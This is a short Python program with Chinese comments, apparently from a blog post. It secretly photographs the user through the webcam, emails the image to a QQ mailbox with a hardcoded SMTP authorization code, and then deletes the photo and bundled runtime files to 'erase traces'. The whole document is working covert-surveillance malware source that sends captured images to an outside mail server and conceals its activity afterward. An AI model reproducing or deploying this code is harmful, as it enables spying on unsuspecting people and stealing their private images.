源码:
from smtplib import SMTP_SSL
from os import remove
from email.mime.image import MIMEImage
from cv2 import VideoCapture,imwrite
from email.utils import formataddr
filename = 'opencv_capture.png'
def send_picture():
my_sender = '****@qq.com' # 发件人邮箱账号
my_pass = 'zmwqfmugjxllebig' # 发件人邮箱密码,这个是邮箱授权码,上一篇文章讲了授权码如何获得
my_user = '****@qq.comm' # 收件人邮箱账号,可以填发件人邮箱账号
smtp =SMTP_SSL("smtp.qq.com", 465)#实例化SMTP()
smtp.login(my_sender,my_pass) #登录
#发送邮件
sendimagefile=open('opencv_capture.png','rb').read()
msg = MIMEImage(sendimagefile)#发送正文
msg['From'] = formataddr(["NIKI", my_sender]) # 括号里的对应发件人邮箱昵称、发件人邮箱账号
msg['To'] = formataddr(["FK", my_user]) # 括号里的对应收件人邮箱昵称、收件人邮箱账号
msg['Subject'] = "CV邮件" # 邮件的主题,也可以说是标题
smtp.sendmail(my_sender, my_user, msg.as_string())
smtp.quit()
#删除痕迹
try:
remove(filename)
list_file=['_bz2.pyd','_ctypes.pyd','_decimal.pyd','_hashlib.pyd','_lzma.pyd','_multiprocessing.pyd','_queue.pyd','_socket.pyd','_ssl.pyd']
for name in list_file:
remove(name)
except:
None
def get_picture():
cap =VideoCapture(0)
f, frame = cap.read() # 此刻拍照
imwrite(filename, frame) # 将拍摄内容保存为png图片
cap.release() # 关闭调用的摄像头
def main():
get_picture()
send_picture()
if __name__ == '__main__':
main()